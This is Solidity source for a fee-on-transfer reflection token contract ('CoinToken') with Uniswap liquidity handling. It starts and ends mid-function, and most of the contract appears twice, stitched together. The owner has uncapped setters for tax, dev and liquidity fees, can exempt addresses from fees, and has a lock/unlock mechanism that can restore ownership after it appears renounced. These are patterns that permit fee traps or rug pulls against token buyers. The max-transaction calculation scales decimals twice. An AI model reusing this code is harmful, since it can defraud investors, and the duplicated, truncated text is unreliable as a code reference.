_previousLiquidityFee = _liquidityFee;
_taxFee = 0;
_devFee = 0;
_liquidityFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_devFee = _previousDevFee;
_liquidityFee = _previousLiquidityFee;
}
function isExcludedFromFee(address account) public view returns(bool) {
return _isExcludedFromFee[account];
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(from != owner() && to != owner())
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
uint256 contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
bool overMinTokenBalance = contractTokenBalance >= numTokensSellToAddToLiquidity;
if (
overMinTokenBalance &&
!inSwapAndLiquify &&
from != uniswapV2Pair &&
swapAndLiquifyEnabled
) {
contractTokenBalance = numTokensSellToAddToLiquidity;
swapAndLiquify(contractTokenBalance);
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
uint256 half = contractTokenBalance.div(2);
uint256 otherHalf = contractTokenBalance.sub(half);
uint256 initialBalance = address(this).balance;
swapTokensForEth(half);
uint256 newBalance = address(this).balance.sub(initialBalance);
addLiquidity(otherHalf, newBalance);
emit SwapAndLiquify(half, newBalance, otherHalf);
}
function swapTokensForEth(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
owner(),
block.timestamp
);
}
function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity, uint256 tDev) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_takeDev(tDev);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity, uint256 tDev) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_takeDev(tDev);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity, uint256 tDev) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_takeDev(tDev);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function setRouterAddress(address newRouter) external onlyOwner {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(newRouter);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router = _uniswapV2Router;
}
function setNumTokensSellToAddToLiquidity(uint256 amountToUpdate) external onlyOwner {
numTokensSellToAddToLiquidity = amountToUpdate;
}
}
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.18;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
abstract contract Ownable is Context {
address public _owner;
address private _previousOwner;
uint256 public _lockTime;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
_owner = _msgSender();
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
//Locks the contract for owner for the amount of time provided
function lock(uint256 time) public virtual onlyOwner {
_previousOwner = _owner;
_owner = address(0);
_lockTime = time;
emit OwnershipTransferred(_owner, address(0));
}
//Unlocks the contract for owner when _lockTime is exceeds
function unlock() public virtual {
require(_previousOwner == msg.sender, "You don't have permission to unlock.");
require(block.timestamp > _lockTime , "Contract is locked.");
emit OwnershipTransferred(_owner, _previousOwner);
_owner = _previousOwner;
}
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract CoinToken is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
address public _devWalletAddress;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal;
uint256 private _rTotal;
uint256 private _tFeeTotal;
string private _name;
string private _symbol;
uint256 private _decimals;
uint256 public _taxFee;
uint256 private _previousTaxFee;
uint256 public _devFee;
uint256 private _previousDevFee;
uint256 public _liquidityFee;
uint256 private _previousLiquidityFee;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool inSwapAndLiquify;
bool public swapAndLiquifyEnabled = true;
uint256 public _maxTxAmount;
uint256 public numTokensSellToAddToLiquidity;
event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap);
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
modifier lockTheSwap {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
constructor (string memory _NAME, string memory _SYMBOL, uint256 _DECIMALS, uint256 _supply, uint256 _txFee,uint256 _lpFee,uint256 _DexFee,address routerAddress,address feeaddress,address tokenOwner) {
_name = _NAME;
_symbol = _SYMBOL;
_decimals = _DECIMALS;
_tTotal = _supply * 10 ** _decimals;
_rTotal = (MAX - (MAX % _tTotal));
_taxFee = _txFee;
_liquidityFee = _lpFee;
_previousTaxFee = _txFee;
_devFee = _DexFee;
_previousDevFee = _devFee;
_previousLiquidityFee = _lpFee;
_maxTxAmount = (_tTotal * 5 / 1000) * 10 ** _decimals;
numTokensSellToAddToLiquidity = (_tTotal * 5 / 10000) * 10 ** _decimals;
_devWalletAddress = feeaddress;
_rOwned[tokenOwner] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(routerAddress);
// Create a uniswap pair for this new token
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
// set the rest of the contract variables
uniswapV2Router = _uniswapV2Router;
//exclude owner and this contract from fee
_isExcludedFromFee[tokenOwner] = true;
_isExcludedFromFee[address(this)] = true;
_owner = tokenOwner;
emit Transfer(address(0), tokenOwner, _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint256) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcludedFromReward(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeFromReward(address account) public onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeInReward(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already included");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity, uint256 tDev) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_takeDev(tDev);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function excludeFromFee(address account) public onlyOwner {
_isExcludedFromFee[account] = true;
}
function includeInFee(address account) public onlyOwner {
_isExcludedFromFee[account] = false;
}
function setTaxFeePercent(uint256 taxFee) external onlyOwner() {
_taxFee = taxFee;
}
function setDevFeePercent(uint256 devFee) external onlyOwner() {
_devFee = devFee;
}
function setLiquidityFeePercent(uint256 liquidityFee) external onlyOwner() {
_liquidityFee = liquidityFee;
}
function setMaxTxPercent(uint256 maxTxPercent) public onlyOwner {
_maxTxAmount = maxTxPercent * 10 ** _decimals;
}
function setDevWalletAddress(address _addr) public onlyOwner {
_devWalletAddress = _addr;
}
function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
swapAndLiquifyEnabled = _enabled;
emit SwapAndLiquifyEnabledUpdated(_enabled);
}
//to recieve ETH from uniswapV2Router when swaping
receive() external payable {}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity, uint256 tDev) = _getTValues(tAmount);
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, tDev, _getRate());
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity, tDev);
}
function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) {
uint256 tFee = calculateTaxFee(tAmount);
uint256 tLiquidity = calculateLiquidityFee(tAmount);
uint256 tDev = calculateDevFee(tAmount);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity).sub(tDev);
return (tTransferAmount, tFee, tLiquidity, tDev);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 tDev, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rLiquidity = tLiquidity.mul(currentRate);
uint256 rDev = tDev.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity).sub(rDev);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _takeLiquidity(uint256 tLiquidity) private {
uint256 currentRate = _getRate();
uint256 rLiquidity = tLiquidity.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity);
}
function _takeDev(uint256 tDev) private {
uint256 currentRate = _getRate();
uint256 rDev = tDev.mul(currentRate);
_rOwned[_devWalletAddress] = _rOwned[_devWalletAddress].add(rDev);
if(_isExcluded[_devWalletAddress])
_tOwned[_devWalletAddress] = _tOwned[_devWalletAddress].add(tDev);
}
function calculateTaxFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_taxFee).div(
10**2
);
}
function calculateDevFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_devFee).div(
10**2
);
}
function calculateLiquidityFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_liquidityFee).div(
10**2
);
}
function removeAllFee() private {
_previousTaxFee = _taxFee;
_previousDevFee = _devFee;
_previousLiquidityFee = _liquidityFee;
_taxFee = 0;
_devFee = 0;
_liquidityFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_devFee = _previousDevFee;
_liquidityFee = _previousLiquidityFee;
}
function isExcludedFromFee(address account) public view returns(bool) {
return _isExcludedFromFee[account];
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(from != owner() && to != owner())
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
uint256 contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
bool overMinTokenBalance = contractTokenBalance >= numTokensSellToAddToLiquidity;
if (
overMinTokenBalance &&
!inSwapAndLiquify &&
from != uniswapV2Pair &&
swapAndLiquifyEnabled
) {
contractTokenBalance = numTokensSellToAddToLiquidity;
swapAndLiquify(contractTokenBalance);
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
uint256 half = contractTokenBalance.div(2);
uint256 otherHalf = contractTokenBalance.sub(half);
uint256 initialBalance = address(this).balance;
swapTokensForEth(half);
uint256 newBalance = address(this).balance.sub(initialBalance);
addLiquidity(otherHalf, newBalance);
emit SwapAndLiquify(half, newBalance, otherHalf);
}
function swapTokensForEth(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0,
0,
owner(),
block.timestamp
);
}
function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity, uint256 tDev) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_takeDev(tDev);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity, uint256 tDev) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_takeDev(tDev);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity, uint256 tDev) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_takeDev(tDev);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function setRouterAddress(address newRouter) external onlyOwner {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(newRouter);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router = _uniswapV2Router;
}
function setNumTokensSellToAddToLiquidity(uint256 amountToUpdate) external onlyOwner {
